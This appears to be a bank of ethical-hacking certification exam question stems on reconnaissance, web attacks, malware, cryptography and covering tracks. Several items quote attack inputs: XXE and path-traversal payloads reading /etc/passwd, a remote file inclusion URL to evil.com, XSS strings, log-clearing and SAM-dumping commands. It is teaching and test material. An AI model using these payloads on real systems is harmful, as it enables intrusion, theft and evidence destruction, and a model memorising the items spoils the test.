Based on the exhibit, what type of attack is being attempted?

An organization wants to mitigate the impact of a DDoS attack by distributing incoming traffic across multiple servers in different geographic locations. Which technique is BEST suited?

You are investigating a suspected data exfiltration. Network logs show an internal host performing numerous DNS queries to a domain that does not exist in any organization records. The queries use various subdomains. Which technique is the attacker MOST likely using?

What is the PRIMARY purpose of performing a DNS zone transfer?

An organization wants to protect against DNS spoofing attacks. Which security measure is MOST effective in preventing an attacker from poisoning DNS cache entries?

A company uses a cloud-based identity provider (IdP) for single sign-on (SSO). Which security control is most effective in preventing account takeover due to credential stuffing?

Which Nmap flag is used to perform a TCP SYN scan without completing the three-way handshake?

A network administrator needs to identify all devices on a large corporate network that are running a specific vulnerable version of OpenSSH. The administrator has network access and can use scanning tools. However, scanning the entire network might disrupt operations. Which approach minimizes disruption while accurately identifying the vulnerable hosts?

A security analyst runs the command `nbtstat -A 192.168.1.50` in a Windows environment. What information is the analyst attempting to retrieve?

Which of the following is a method of hiding files on a system using steganography?

Which of the following is the PRIMARY reason that MD5 is no longer recommended for use in digital signatures?

A penetration tester is performing reconnaissance and wants to identify email addresses associated with a target domain. Which tool is specifically designed for this purpose?

Which THREE of the following are common types of SQL injection attacks? (Select three)

An attacker performs a downgrade attack on a TLS connection, forcing the client and server to negotiate a weaker cipher suite. This attack exploits which of the following?

A security analyst examines a compromised Linux server and finds a hidden directory `/usr/share/.syslog` containing a modified version of `sshd` and a log cleaner script. This is indicative of which technique used to erase tracks?

During a security assessment, you execute: dnsenum --enum example.com. The tool returns results including the nameservers (NS), mail servers (MX), and performs a zone transfer attempt. The zone transfer fails. What is the MOST likely reason for the failure?

A penetration tester wants to perform DNS zone transfer enumeration. Which TWO of the following tools can be used for this purpose? (Select exactly 2.)

A company deploys IoT sensors in a remote facility with limited bandwidth. The sensors send small data packets every few seconds. Which wireless technology is most appropriate for this application?

Which THREE of the following are examples of OSINT techniques? (Choose 3)

A penetration tester uses the tool 'Pacu' during an assessment. Which of the following actions is Pacu designed to perform?

A network administrator wants to prevent an attacker from using a network sniffer to capture traffic between a client and a web server. Which protocol should be enforced to encrypt all communication?

A web application uses an XML parser to process user-supplied XML documents. An attacker submits the following payload: <?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><root>&xxe;</root>. Which vulnerability is being exploited?

During a forensic investigation, an analyst finds that a malware sample uses a technique to detect if it is running in a sandbox by checking the number of CPU cores. The malware terminates execution if the core count is less than 2. Which anti-analysis technique is this?

During a web application penetration test, a tester uses Burp Suite's Repeater tool to manually manipulate a request and observe the response. After sending the same request multiple times, the application returns a 302 redirect pointing to a login page. What is the MOST likely cause?

An attacker gains physical access to a building by following an authorized employee through a secure door without using a badge. Which social engineering technique is being used?

A security analyst runs `nmap -sU -p 161,162 10.0.0.1` and receives output showing port 161/udp is open. Which service is MOST likely running on this port?

Which type of malware is characterized by encrypting a victim's files and demanding a ransom payment for the decryption key?

Which THREE of the following are common attack vectors against IoT devices?

Which of the following commands would a penetration tester use to enumerate SMB shares on a target Windows machine from a Linux system?

You are conducting a security assessment and need to map the network topology and identify routers, firewalls, and other network devices. Which technique is specifically designed to discover the path packets take to reach a destination and can reveal intermediate devices?

A security team wants to test their web application for vulnerabilities. Which Burp Suite tool is BEST suited for automating attacks like brute-force or fuzzing?

Which command-line tool is specifically designed to extract email addresses, subdomains, and other information from public sources (e.g., search engines, social media) for a given domain?

Which TWO of the following are valid techniques used in password spraying attacks? (Choose 2.)

A security analyst is investigating a compromised Linux system. The /var/log/auth.log file appears to be truncated, and the timestamps on several binaries in /bin/ have been modified. Which of the following tools or techniques is the attacker MOST likely using to cover tracks?

A penetration tester runs the following command: masscan 10.0.0.0/24 -p80,443,8080 --rate=10000. Compared to Nmap, what is the PRIMARY advantage of using Masscan for this scan?

During a penetration test, the tester finds that the Apache server is configured with directory listing enabled on the /uploads directory. The tester navigates to http://example.com/uploads/ and sees a list of files. Which of the following is the MOST immediate security concern?

An attacker has gained access to a system and wants to erase evidence of their activities. Which of the following actions is MOST effective for covering tracks on a Windows system?

A security analyst observes the following in a packet capture: a single source IP sends a large number of ICMP echo request packets to the broadcast address of a subnet, with the source IP spoofed to be the target victim. Which type of attack is being executed?

Which THREE of the following are common indicators of a Server-Side Request Forgery (SSRF) vulnerability? (Select 3)

During a penetration test, you gain initial access to a Linux server as a low-privileged user. The target runs a vulnerable SUID binary owned by root. Which of the following is the MOST effective method to escalate privileges?

A penetration tester discovers a Linux server with the SUID bit set on the 'find' command. How could this be exploited for privilege escalation?

During a penetration test, an analyst uses enum4linux with the -a flag against a target. Which of the following is the MOST comprehensive set of information that can be obtained?

During an internal penetration test, you are tasked with enumerating services on a target server. You run a full TCP port scan and find that ports 22 (SSH), 80 (HTTP), and 443 (HTTPS) are open. You then perform version detection on these ports. Which additional enumeration step would provide the most valuable information for identifying potential vulnerabilities?

Which of the following tools is specifically designed to automate the exploitation of SQL injection vulnerabilities and retrieve data from databases?

A security analyst observes a web application returning database error messages containing table names and column names in the HTTP response. Which type of SQL injection is MOST likely being exploited?

Which TWO of the following are effective defenses against Cross-Site Request Forgery (CSRF) attacks? (Select 2)

During a web application penetration test, a tester submits a comment containing '<script>alert("XSS")</script>' and the script executes for all users who view the comment. Which type of cross-site scripting (XSS) vulnerability is present?

An attacker uses the following URL pattern to access files: http://example.com/../../etc/passwd. Which attack is being attempted?

Which THREE of the following are valid methods to prevent a downgrade attack on TLS? (Select 3)

Refer to the exhibit. An ethical hacker runs the shown Nmap scan against a target. Which port state indicates that the port is reachable but no service is listening?

Which password cracking technique involves trying every possible combination of characters until the correct password is found?

Which cryptographic algorithm is vulnerable to a birthday attack on its hash output size of 128 bits, reducing the effective security to 64 bits against collision resistance?

An application allows users to upload XML files for processing. A tester uploads the following payload: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>. The server returns the contents of /etc/passwd. Which attack is being performed?

Which THREE of the following Nmap flags are commonly used for evasion techniques? (Select 3)

An employee receives an email that appears to be from the company's CEO, requesting an urgent wire transfer to a vendor. The email address is slightly different from the CEO's actual address. Which type of social engineering attack is this?

Which of the following Nmap flags would an attacker use to evade IDS by sending fragmented IP packets?

An analyst detects an SMB enumeration attempt in network logs. Which of the following tools would MOST likely generate such traffic?

Refer to the exhibit. A security analyst checks for missing patches. Which vulnerability is this system likely exposed to?

During a web application test, a penetration tester intercepts a request using Burp Suite Proxy, modifies the 'Referer' header, and resends the request. The application processes the request despite the modified header. Which attack is the tester attempting to validate?

During a cloud penetration test, you discover an S3 bucket that allows listing objects. You find a file named 'config.json' that contains an IAM access key and secret key. Which of the following is the BEST next step?

A security analyst receives an alert about a scan originating from an IP address that appears to be using a 'sIdle scan' technique. Which of the following characteristics would confirm this?

Which of the following tools is specifically designed for high-speed port scanning across large address spaces?

In the context of system hacking methodology (CHPSET), which phase involves removing evidence of the attacker's activities from logs and system files?

A security team is implementing measures to prevent cross-site request forgery (CSRF) attacks. Which of the following is the most effective mitigation technique?

An attacker attempts to log into a web application by trying many common passwords for a list of known usernames. Which type of authentication attack is this?

A security team finds that a web application accepts a user-supplied URL and fetches it server-side without validation. The application runs on AWS EC2 with a metadata endpoint at 169.254.169.254. Which attack is MOST likely to succeed?

Which TWO of the following are characteristics of symmetric encryption? (Select two)

A security analyst discovers that a containerized application running in a cloud environment can access the host's file system by mounting /var/run/docker.sock inside the container. Which type of attack does this configuration enable?

A security analyst notices that the ARP cache on a workstation contains multiple entries for the same IP address with different MAC addresses. Which attack is likely occurring?

A security team discovers a file named 'svchost.exe' in a user's Temp folder. The file is signed by 'Microsoft Corporation' but the digital signature validation fails. Which analysis method should be used FIRST to determine if it's malicious?

During an assessment, a tester discovers that the web application accepts XML input and returns the parsed data. The tester submits the following payload: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>. The response contains the contents of /etc/passwd. This vulnerability is known as:

Which HTTP method is commonly used by WebDAV to upload files to a web server, and if misconfigured, could allow an attacker to upload malicious scripts?

A security team deployed a web application firewall (WAF) that blocks requests containing SQL keywords like 'SELECT', 'UNION', and 'DROP'. An attacker bypasses the WAF by encoding the payload in base64 and using a SQL injection tool that decodes it server-side. Which mitigation would be MOST effective against this?

During a penetration test, a tester uses Nmap with the command: nmap -sS -D RND:10 192.168.1.100. After the scan, the IDS logs show multiple SYN packets from different source IPs hitting the target. However, the tester's true IP is not among them. Which of the following techniques is being used?

An attacker has compromised a Linux machine and wants to hide a rootkit by replacing system binaries with trojaned versions. Which technique is being used to maintain persistent access while evading detection?

During a penetration test, an analyst obtains a dump of password hashes from a Windows server. The hashes are in LM:NT format. The analyst wants to crack the NT portion using a brute-force attack on 8-character alphanumeric passwords. Which tool is BEST suited for this task?

A web server running IIS 8.5 is found to have WebDAV enabled with write permissions. Which attack is MOST likely to be successful against this configuration?

A security analyst notices that their Nmap scan results show all ports as 'filtered' despite the target host being alive and responsive to ping. Which of the following is the MOST likely cause?

Which of the following is a primary purpose of the SameSite cookie attribute in mitigating CSRF attacks?

Which of the following tools is used to crack Windows LAN Manager (LM) and NTLM password hashes using rainbow tables?

Which TWO techniques are considered active reconnaissance? (Choose TWO.)

Which TWO of the following are types of malware analysis? (Select two.)

An organization wants to mitigate the impact of a DDoS attack that uses large volumes of UDP traffic to exhaust bandwidth. Which of the following techniques would be MOST effective?

During a penetration test, a tester discovers that the target switch's MAC address table is full, causing it to flood traffic out all ports. The tester then captures network traffic using Wireshark on the same segment. Which attack was the tester performing?

Which TWO tools are commonly used for ARP poisoning attacks?

A security analyst wants to identify all live hosts on a network without generating excessive traffic. Which of the following techniques is MOST appropriate for this purpose?

Which TWO of the following are commonly used to mitigate SQL injection vulnerabilities? (Select 2)

You are a penetration tester hired by a financial services company to assess the security of their external web application. The application is a customer portal hosted on a Linux server with Apache 2.4.6 and PHP 7.2. During reconnaissance, you discover that the server responds to HTTP OPTIONS requests and the Allow header includes PUT and DELETE methods. The application uses a MySQL database backend. You also find a file upload feature in the profile section that accepts JPEG images. While testing, you notice that uploading a file with a .php extension returns a '403 Forbidden' error, but uploading a file with .php5 or .phtml extension succeeds. The uploaded files are stored in /uploads/ directory. What should be your next step to escalate the attack?

A security analyst observes that an Nmap SYN scan against a target network returns all ports as 'filtered'. The analyst suspects an IDS/IPS is dropping inbound SYN packets. Which Nmap technique would MOST likely bypass this detection while still identifying open ports?

An attacker intercepts a TLS-encrypted session and attempts to force the client and server to use a weaker cipher suite. Which type of attack is being performed?

A web application takes a URL from user input and fetches the content to display on the page. An attacker submits a URL pointing to an internal service like http://localhost:8080/admin. The server retrieves the internal resource and returns it. What is this attack?

During a penetration test, a tester runs 'dnsrecon -d example.com -t axfr' and receives a full list of DNS records. What does this indicate about the target's DNS configuration?

Which type of malware is characterized by modifying its own code to evade signature-based detection, often changing its appearance each time it replicates?

An organization receives an email that appears to be from the CEO, urgently requesting that the recipient wire funds to a new vendor. The email contains the CEO's name and title but the sender address is slightly misspelled. Which type of social engineering attack is this?

Which Google dork would a penetration tester use to find login pages of websites that have 'admin' in the URL?

Drag and drop the steps to set up a reverse shell using Netcat into the correct order.

A security analyst receives an alert indicating that a workstation is sending outbound connections to a known malicious IP address. The analyst suspects a Trojan. Which tool is BEST for performing dynamic analysis of the suspicious binary?

Which TWO of the following are examples of application-layer DDoS attacks? (Choose two.)

A forensic analyst examines a system infected with malware that displays ransomware notes and encrypts files. The analyst uses a sandbox to observe behavior. During analysis, the malware contacts a C2 server and downloads additional payloads. Which type of malware analysis is being performed?

Which of the following tools is specifically designed to crack Windows LAN Manager (LM) and NTLM hashes using rainbow tables?

A penetration tester uses the tool 'ScoutSuite' against an AWS target. Which of the following BEST describes the purpose of this tool?

Which TWO techniques are commonly used for privilege escalation on Linux systems? (Select two.)

Which THREE of the following are password cracking techniques? (Select 3)

Which THREE of the following are effective countermeasures against evil twin attacks in wireless networks? (Select THREE.)

An organization experiences a DDoS attack where the attacker sends a flood of UDP packets to a server, causing it to become unresponsive. The packets appear to come from many different source IP addresses and are directed to random high-numbered ports. Which type of DDoS attack is this?

An attacker successfully escalates privileges on a Windows server using a known vulnerability in the Print Spooler service (PrintNightmare). Which type of privilege escalation does this represent?

A tester sends the following payload to a web application: %3Cscript%3Ealert('XSS')%3C/script%3E. The application echoes back the decoded payload in the response without sanitization. This behavior is typical of which type of vulnerability?

During a reconnaissance phase, a tester uses `dnsrecon -d example.com -t axfr`. What specific DNS query is being attempted?

A security team wants to mitigate a DNS amplification DDoS attack. Which of the following techniques would be MOST effective in preventing the attack from leveraging open DNS resolvers?

A security analyst notices that the web application returns different response times when a valid username is submitted versus an invalid one during login. Which type of vulnerability is likely being exploited?

An ethical hacker needs to crack a set of NTLM hashes obtained from a Windows system. Which tool would be MOST efficient for performing a dictionary attack with hybrid rules?

An attacker wants to perform a CSRF attack against a banking application. The application uses SameSite cookies set to 'Strict'. The attacker hosts a malicious page on their own domain. When the victim visits the malicious page, which of the following statements is TRUE regarding the CSRF attack?

A user reports that their system has become very slow and numerous pop-up ads appear even when browsing is not active. Which type of malware is MOST likely installed?

During a cloud penetration test, a tester discovers an AWS S3 bucket that allows public 's3:PutObject' access. The tester uploads a file containing JavaScript that steals cookies. Which type of attack is this an example of?

A penetration tester uses a tool to perform a MAC flooding attack. What is the intended result of this attack?

Which Google dork query would an attacker most likely use to find login pages on a web server?

A security analyst runs 'nbtstat -A 192.168.1.105' and sees a table with the computer name 'FILESERVER' and a logged-in user 'admin'. Which of the following BEST describes the purpose of this command?

A penetration tester successfully predicts the TCP sequence numbers of a target and sends crafted packets to impersonate a trusted host. Which type of attack is this?

During a penetration test, you execute a DNS zone transfer request against a target domain and succeed. Which type of DNS record would you expect to reveal the mail servers for the domain?

Which THREE of the following are effective techniques to prevent ARP poisoning attacks? (Choose three.)

During a social engineering engagement, an attacker calls an employee pretending to be from IT support and asks for their password to perform a system update. Which social engineering technique is being employed?

During a penetration test, a tester uses a tool to perform ARP spoofing to intercept traffic between two hosts on the same subnet. Which tool is most commonly associated with this technique?

A security analyst captures network traffic and sees multiple ARP packets with the same source MAC address but different IP addresses. Which attack is MOST likely occurring?

An attacker intercepts a TCP session between a client and a server. By analyzing sequence numbers, the attacker successfully predicts the next sequence number and injects malicious packets. Which attack is being performed?

A penetration tester needs to perform ARP poisoning to intercept traffic between two hosts on the same subnet. Which tool would be the most appropriate choice for this task?

Which of the following is the BEST defense against tailgating attacks in a secure facility?

After compromising a Windows system, an attacker wants to cover tracks by deleting event logs. Which command would achieve this?

A forensic analyst finds a system where the user's password hash was obtained and cracked offline. The attacker then used stolen credentials to log in and run `wevtutil cl system`. What is the purpose of this command?

Which THREE of the following are essential phases in the ethical hacking methodology as defined by EC-Council?

During a ransomware incident response, a forensic analyst recovers a suspicious file that appears to be a PE executable. The analyst wants to quickly check if the file is known malware without executing it. Which of the following is the BEST first step?

A security analyst suspects an attacker has replaced system binaries with a rootkit to hide malicious processes. Which covering tracks technique is the attacker using?

Which THREE of the following are valid pieces of information that can be gathered from a properly configured Netcraft site report? (Select exactly 3.)

A security analyst notices an unusual spike in outbound traffic on UDP port 53 from a single internal host. The host is not a DNS server. Which type of malware is MOST likely responsible?

A security analyst suspects that a user's machine is infected with a keylogger. Which of the following is the most effective method to detect a hardware keylogger?

While performing reconnaissance, a tester uses a Google dork to find login pages exposed on the internet. Which of the following is an example of a Google dork that could be used for this purpose?

Which of the following is a recommended defense against Cross-Site Request Forgery (CSRF) attacks?

What is the primary purpose of using the Nmap flag -sS?

A user reports that their computer is infected with ransomware. Which of the following is the BEST immediate action for the security team to take?

A web application uses user input in the following PHP code: include($_GET['page'] . '.php');. An attacker submits the URL: http://example.com/index.php?page=../../../../etc/passwd%00. Which two vulnerabilities are being attempted?

Which of the following is the most effective defense against SQL injection attacks?

An attacker gains access to a cloud environment and attempts to move laterally by assuming an IAM role with higher privileges. Which cloud attack vector is the attacker exploiting?

Which cryptographic algorithm is classified as symmetric and uses a block cipher with key sizes of 128, 192, or 256 bits?

Which of the following cryptographic hash functions is known to be vulnerable to collision attacks and should be avoided for security applications?

Which of the following is a passive OS fingerprinting technique?

Which of the following tools is specifically designed to enumerate SMB shares and user information from Windows systems using the SMB protocol?

Which THREE of the following are valid methods to exploit or test for Server-Side Request Forgery (SSRF)?

Drag and drop the steps to perform a SQL injection attack manually into the correct order.

A security analyst runs `nbtstat -A 192.168.1.10` and receives output showing a table with names like COMPUTER<00>, COMPUTER<20>, and DOMAIN<1B>. What type of information has the analyst gathered?

Match each security tool to its primary purpose.

A web application allows users to submit feedback that is stored in a database and displayed to other users without proper sanitization. A tester inputs '<script>alert(1)</script>' and it executes when other users view the feedback. Which type of XSS is this?

An attacker uses the Social Engineering Toolkit (SET) to craft a phishing email that appears to come from the company's CEO, requesting the recipient to urgently wire funds to a new vendor. This attack is BEST described as which type of social engineering?

A user receives a phone call from someone claiming to be from IT support, asking for their password to perform a system update. This is an example of which social engineering technique?

An analyst is analyzing a suspicious file using VirusTotal and observes that only 3 out of 60 antivirus engines detect it as malicious. The file has been submitted before but with no detections. What should the analyst conclude?

A security analyst notices repeated TCP SYN packets sent to a server without corresponding SYN-ACK replies. The source IP addresses are spoofed and appear to be random. Which type of attack is MOST likely occurring?

Drag and drop the steps to conduct a penetration test using the CEH methodology into the correct order.

A web application uses XML to transmit data between client and server. A tester submits the following payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'. The application returns the content of the /etc/passwd file in the response. Which vulnerability is present?

A security analyst notices unusual traffic from a smart thermostat to an external IP address. The thermostat is on a separate IoT VLAN. Which action should the analyst take to investigate and mitigate the threat?

Which THREE of the following are components of PKI (Public Key Infrastructure)?

A security analyst captures the following SMTP conversation: 220 mail.example.com ESMTP; HELO client; 250 Hello; VRFY root; 250 Super-User; VRFY admin; 252 Cannot VRFY user; VRFY user1; 550 User unknown. Which attack is the analyst performing?

Which THREE of the following are effective mitigations against brute force attacks on web application login forms? (Select 3)

Which of the following is a recommended countermeasure against WPA2 KRACK attacks?

An attacker uses a tool that precomputes hash chains for common passwords to crack password hashes quickly. Which technique is the attacker employing?

A company wants to ensure that data in transit between its IoT devices and the cloud server is encrypted. Which protocol combination is BEST suited for this purpose?

A penetration tester uses theHarvester to gather information about a target domain. Which of the following data types is theHarvester PRIMARILY designed to collect?

An attacker sets up a rogue access point with the same SSID as a legitimate corporate network and broadcasts a stronger signal. Clients connect to the rogue AP. What type of attack is this?

A penetration tester is trying to evade an IDS that detects out-of-order TCP packets. The tester uses Nmap with the -f flag. What is the PRIMARY effect of this flag?

Which THREE of the following are examples of application-layer DDoS attacks? (Select 3)

During a penetration test, a tester runs enum4linux against a Windows server and receives the following output: 'S-1-5-21-3623811015-3361044348-30300820-500' and 'S-1-5-21-3623811015-3361044348-30300820-501'. Which TWO conclusions can be drawn from this output?

Which TWO of the following techniques are considered passive reconnaissance? (Select exactly 2.)

A security analyst notices that a web application returns different HTTP responses for valid and invalid usernames during login. Which attack is this behavior most likely facilitating?

Which type of social engineering attack involves a malicious actor impersonating a legitimate organization in a voicemail message to trick the victim into revealing sensitive information?

A security team has collected a hash file from a compromised Windows server that contains NTLM hashes. They want to crack the passwords as quickly as possible using a precomputed lookup table. Which tool and technique combination is BEST suited for this task?

A security team discovers that an attacker has been intercepting and modifying traffic between a client and server by impersonating both endpoints. Which type of cryptographic attack is this?

You are a penetration tester for a financial institution. During the reconnaissance phase, you discover that the target network uses a firewall that only allows inbound TCP connections on ports 80, 443, and 8080. You need to identify live hosts and running services on the internal network (192.168.1.0/24) from an external perspective. To avoid detection, you must minimize the number of packets sent and ensure that your scanning technique does not complete the TCP three-way handshake. Additionally, you have limited time and need to scan all 65535 ports on the most promising target. Based on the firewall rules and the need for stealth, which of the following approaches should you take?

Which malware analysis approach involves running the suspicious file in a controlled environment to observe its behavior?

A penetration tester uses the following command to extract the contents of a SAM file: 'samdump2 SYSTEM /mnt/windows/Windows/System32/config/SAM'. What is the primary purpose of this action?

Which THREE of the following are common methods used to mitigate DDoS attacks? (Select 3)

A security analyst is investigating a compromised Linux system and finds the following: - A binary with SUID bit set owned by root that is not a standard system binary - The file /etc/ld.so.preload contains a reference to a shared object in /tmp - The system logs show gaps of several minutes during peak hours. Which TWO techniques has the attacker MOST likely used to maintain access and evade detection?

A security analyst finds multiple failed login attempts in the system logs, followed by a successful login from an unusual IP address. The attacker then deleted the log entries for that session. Which step of the system hacking methodology (CHPSET) does the log deletion represent?

A security engineer is reviewing web server logs and finds the following request: GET /files/../../../etc/passwd HTTP/1.1. Which THREE attacks could be associated with this request? (Choose THREE.)

An attacker has gained access to a Windows server and wants to crack the password hashes extracted from the SAM file. The attacker knows the passwords are complex but wants to maximize speed. Which tool is BEST suited for high-speed password cracking using GPU acceleration?

A security analyst wants to gather information about a target domain using publicly available sources without directly interacting with the target’s systems. Which type of reconnaissance is being performed?

A security analyst receives an email that appears to be from the CEO, urgently requesting a wire transfer. The email address is slightly misspelled (ceo@cornpany.com instead of ceo@company.com). Which type of social engineering attack is this?

During a web application test, an analyst intercepts a request containing a 'Referer' header that points to a different domain. The analyst modifies the request by removing the 'Referer' header and the action still executes successfully. Which type of attack is the analyst testing?

Which THREE of the following are correct statements about DNS zone transfers?

In the shared responsibility model for cloud computing, which of the following is typically the responsibility of the customer?

A security analyst captures WPA2 handshake packets using airodump-ng and then runs aircrack-ng with a wordlist. After several minutes, aircrack-ng reports 'KEY FOUND!' followed by a hex string. Which attack was successfully performed?

During a penetration test, a tester uses the SMTP VRFY command against a mail server. The server responds with '252 Cannot VRFY user, but will accept message' for most usernames. Which action should the tester take to enumerate valid email addresses more effectively?

Which TWO of the following are examples of asymmetric cryptography? (Select 2)

A security analyst receives an alert from the IDS indicating a port scan originating from IP 10.0.0.5. Upon investigation, the analyst finds that 10.0.0.5 is a legitimate internal server. Which type of scan is the attacker likely using to evade detection?

A penetration tester discovers a service running on UDP port 161 with a default community string 'public'. They use `snmpwalk -v2c -c public 192.168.1.10` and retrieve extensive system information. Which enumeration technique is being performed?

A security analyst captures a large number of initialization vectors (IVs) on a WEP-protected network. Which tool is most commonly used to crack the WEP key using IVs?

An attacker has gained initial access to a Windows system and wants to escalate privileges to SYSTEM. They find that the SeImpersonatePrivilege is enabled for their current user. Which tool or technique is specifically designed to leverage this privilege for elevation?

A penetration tester runs `nbtstat -A 192.168.1.10` on a Windows machine. The output reveals the NetBIOS name table and shows a <20> entry. What does this indicate?

During a penetration test, you run the command: 'macof -i eth0 -s 192.168.1.1 -d 192.168.2.1 -e 00:11:22:33:44:55'. What is the intended effect of this command?

An IoT device uses the MQTT protocol without TLS. An attacker on the same network subscribes to all topics and captures messages. What is the MOST significant security risk?

A security analyst notices that a web application's SSL/TLS certificate is issued by a CA that is not trusted by modern browsers. Which type of attack could this enable?

Which Burp Suite tool is specifically designed to automate customized attacks against web applications, such as brute-forcing login credentials or fuzzing parameters?

Which THREE of the following are components of the CHPSET system hacking methodology?

A penetration tester intercepts the following request using Burp Suite: POST /change_password HTTP/1.1 Host: example.com Cookie: sessionid=abc123; SameSite=Lax Content-Type: application/x-www-form-urlencoded new_password=Hacker123 The tester successfully crafts a CSRF attack by embedding a hidden form in a malicious page. Which mitigation is most likely missing?

A security analyst identifies that a web application is vulnerable to Server-Side Request Forgery (SSRF). Which TWO of the following are effective mitigation techniques for SSRF?

An organization experiences a DDoS attack where a large volume of DNS queries with spoofed source IPs are sent to open DNS resolvers, which then amplify the traffic to the victim. Which type of attack is this?

Which TWO of the following are common techniques for covering tracks after compromising a system? (Select 2)

An analyst uses the following command to capture traffic: tcpdump -i eth0 -w capture.pcap host 10.0.0.5 and port 80. After generating traffic from a web server at 10.0.0.5, the analyst examines the pcap with Wireshark. What type of traffic will appear in the capture?

A system administrator notices unusual outbound traffic from a server on port 4444. The server has no legitimate service listening on that port. A malware analyst runs 'strings' on a suspicious binary and finds a reference to 'cmd.exe /c' and an IP address. What type of malware is MOST likely present?

What can be inferred from the output?

During an IoT assessment, a tester examines a smart thermostat that uses the MQTT protocol. The tester finds that the device connects to a broker without any authentication. Which of the following attacks is MOST likely to succeed?

A penetration tester discovers that a cloud application is vulnerable to Server-Side Request Forgery (SSRF). Which of the following is a potential impact of this vulnerability?

A security analyst observes a gradual increase in network traffic from an internal host to an external IP address on port 443, with the host also connecting to a known command-and-control (C2) domain. Which type of malware is MOST likely responsible?

Which of the following describes the difference between reflected and stored (persistent) cross-site scripting (XSS)?

An analyst observes the following SNMP walk output on a network device: `SNMPv2-SMI::enterprises.9.9.23.1.2.1.1.5.1 = STRING: "cisco"`. Which finding is most significant?

A company wants to secure its email communications using digital signatures. Which cryptographic key does the sender use to sign the email?

A security analyst observes repeated attempts to validate user accounts via SMTP using VRFY commands from an external IP. What is the BEST immediate action to mitigate this reconnaissance?

A web application uses XML to transfer data. An attacker submits the following payload: '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'. What vulnerability is being exploited?

A penetration tester is conducting a vulnerability scan against a target network. Which of the following tools is BEST suited for this task?

A security analyst notices a significant increase in outbound traffic from an internal server to multiple external IPs on port 443. The server is not a web server and should not be initiating such connections. Which type of malware is MOST likely causing this behavior?

A security team detects that an internal host is sending ARP replies claiming to have the IP address of the default gateway. Which tool is MOST likely being used to perform this attack?

A security analyst observes that after a user submits a comment on a blog, the comment is displayed immediately on the page without sanitization. Another user visits the page and the comment's JavaScript executes in their browser. Which type of XSS attack is this?

Which of the following is a hashing algorithm that produces a 160-bit (20-byte) hash value?

Which cryptographic algorithm is classified as symmetric and uses a block cipher with a fixed block size of 128 bits, supporting key sizes of 128, 192, and 256 bits?

A security analyst captures a WPA2 4-way handshake using airodump-ng. To crack the PSK, which tool would they MOST likely use next?

A penetration tester uses SQLMap with the following command: sqlmap -u 'http://target.com/page.php?id=1' --batch --dbs. Which database enumeration technique is SQLMap using by default?

Refer to the exhibit. A penetration tester runs the above Nmap scan. Which of the following statements is most accurate regarding the state of port 3389?

A penetration tester uses a tool to perform ARP poisoning and then launches a man-in-the-middle attack. The tool also allows session hijacking and sniffing. Which of the following tools is being used?

A cloud security engineer wants to ensure that only authorized users can access an S3 bucket containing sensitive data. Which AWS service should be used to enforce fine-grained access control?

A security analyst notices a large number of incomplete TCP connections (SYN_RECV) on a server. Which Nmap scan type is the MOST likely cause of this symptom?

A system administrator receives a phone call from someone claiming to be from IT support, asking for the administrator's password to 'fix a server issue'. This is an example of which social engineering attack?

During a penetration test, a security analyst runs the following command on a Linux system: ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//. What is the PRIMARY purpose of this command?

A security analyst runs `ldapsearch -x -h 10.0.0.3 -b "dc=company,dc=com"` and receives a large number of entries including user objects. What type of information is being collected?

Which TWO of the following are characteristics of a polymorphic virus?

A penetration tester uses the following command to attack a WPS-enabled AP: 'reaver -i mon0 -b 00:11:22:33:44:55 -vv'. What is the primary goal of this attack?

Which of the following is the primary purpose of using a CSRF token in a web application?

An organization wants to prevent directory listing on its Apache web server. Which of the following configuration changes would achieve this?

An analyst captures network traffic and sees a large number of packets with source IP 10.0.0.1, destination IP 192.168.1.1, TCP SYN flag set, with sequence numbers that appear incremental. The destination responds with SYN-ACK but the source never completes the handshake. Which attack is MOST likely occurring?

A security team wants to identify all live hosts on a large, Class B private IP network (172.16.0.0/16) as quickly as possible while minimizing network load. Which tool and technique should they use?

An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?

An attacker has obtained password hashes from a Windows system. They plan to use rainbow tables to crack them. Which tool would be most appropriate for generating and using rainbow tables?

Which THREE of the following are types of SQL injection attacks? (Choose 3)

Which type of malware is characterized by its ability to spread without requiring a host file and can replicate across networks automatically?

An analyst observes the following log entry on a web server: GET /../../etc/passwd HTTP/1.1 200. Which type of attack is indicated?

Which TWO of the following are characteristics of stored (persistent) XSS?

Which THREE of the following are methods attackers use to cover their tracks after compromising a system?

Which enumeration technique would be MOST effective for gathering usernames from an SMTP server that supports the VRFY command?

Which TWO of the following are passive reconnaissance techniques? (Select 2)

Which TWO of the following are passive reconnaissance techniques?

During a penetration test, a tester gains a low-privilege shell on a Linux server. The command `sudo -l` reveals that the user can run `/usr/bin/find` as root. Which technique can the tester use to escalate privileges?

A security team discovers that an S3 bucket configured for static website hosting is exposing sensitive documents. The bucket policy allows public read access. Which AWS misconfiguration is MOST likely present?

A security team discovers that their web application is vulnerable to a Server-Side Request Forgery (SSRF) attack. Which of the following is the MOST effective mitigation technique to prevent SSRF?

Which TWO of the following are examples of social engineering attacks? (Select two)

During a penetration test, an analyst uses a tool that sends forged ARP replies to associate the attacker's MAC address with the IP address of the default gateway. This technique allows the attacker to intercept traffic. Which tool is commonly used for this purpose?

Which TWO of the following are symmetric encryption algorithms? (Select 2)

Which TWO of the following are common tools used for SMB enumeration? (Select 2)

Drag and drop the steps to perform a successful social engineering attack in a penetration test into the correct order.

A security analyst notices unusual outbound traffic from an internal server to a known malicious IP address on port 4444. The server is running a web application that was recently scanned using a vulnerability scanner. Which of the following is the MOST likely cause?

Drag and drop the steps to set up a VPN using IPsec in tunnel mode into the correct order.

During a penetration test, you execute the command `enum4linux -a 192.168.1.20`. The output reveals that the 'backup' account has a blank password and belongs to the 'Domain Admins' group. Which phase of the CHPSET methodology does identifying this vulnerability belong to?

A penetration tester is conducting DNS enumeration. Which TWO of the following tools are specifically designed for DNS enumeration? (Select two)

Which of the following is a characteristic of a polymorphic virus?

